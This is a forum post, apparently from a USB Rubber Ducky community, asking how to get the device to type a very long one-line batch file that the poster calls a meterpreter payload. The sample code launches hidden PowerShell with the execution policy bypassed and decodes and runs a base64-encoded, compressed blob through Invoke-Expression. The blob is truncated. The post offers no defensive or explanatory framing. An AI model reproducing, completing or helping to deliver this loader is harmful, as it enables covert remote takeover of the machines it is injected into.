Jump to content

STRING length limitation? Concatenate after typing?


Recommended Posts

Trying to type out a .bat that has 1 very long line with no breaks. Based on the injection failing, it seems there is a length limitation for a STRING...

This is a meterpreter payload that I have tried break into more than one line, but it will not work if I chop it up. There has to be a way to pull this off, hoping you guys can lend a hand. :)

I have tried:

  • Breaking into more than one line in the .bat with "^"
  • Tried breaking into lines at different places

2 questions:

  • Is there a way to get the ducky to keep it all in a single line?
  • Is there post processing I can/should do after typing out these strings?

Sample code:

@echo off
if %PROCESSOR_ARCHITECTURE%==x86 (powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVRtb9tGDP7uX0EIN0BCLEV+WZZYCFDXadpsdZrFadLNMIazRFtXn+6U0ymR4/q/j3I0x/26LzqR4vF5SD4Ue4RzeOe0phdSXmW5NtZ1VmgUyl43SKR0vBnk5VyKGArLLR1YWfoOV8reWAP3wtiSy6GUOnYbn8yHSWKwKNpQCmUheZ6IF2yMxWsspdLqbp2/uW+MthhbL/rfXEYGucW7lI7kjcurPbTWiHlp8YCU5fHqldk+mHzG7tnv3Tfc8AwJa395h0UlXEq+PIx8RbtKqAznXcua9YYl1GFn+H508eHy46er3//4PL7+cvPn7eTu6/3Dt7/+5vM4wcUyFd9XMlM6fzSFLZ+eq/VL2On2+r+e/HZ65gR3epRyMzSGr12vtShVXKND7LInbwMGbUl9cN0psZvOZsCefr4BP2CMvCgN+l/m36nN4E/KzAvoAb9AWHXCEHx8hLOut33LbmHDFjV7J+oEQe/HQlNxcerrXQr6dnQOLJm6S7S+4SrRGfgZr0RGWVkSfEa1tKk320YNP7aIDrIjbCA3OqZWw2bKa6IzVhEcPY6A/bONAFVCFCpiX5AaGlzYuAqf/zNud7heoEgLrrfdHgAsN0CMwWXiPIyYAF9aOOnT29GRt2EpIdmIrWrAhBAwAmgKpCsSBPFdUVxRB6Q1IxmBWIBLPS88D/ZdpwiCbQzn7OnbV4fKnF6jDSZonkSMN5rGMuaKL9HMBoPai2aExoqFoE3Aey5FspPTiEs5J1kS5oZZU+I2YhkZ11RwM7jJurCYBXX6B5yPpEBloxbLgk8kPDRFQPJ1nbJA4xOesk4bnLF+EVLy434QEn+d5QQ2l1TxeHL1AU6CTgQPgvr4XMD1ned4EVMEuoxg+n5tcSeovG5DFlzoZyU1Ty645a6TWpsXg+Pjzlk36JycBmHQCXuD036...etc
Link to post
Share on other sites
  • 4 years later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...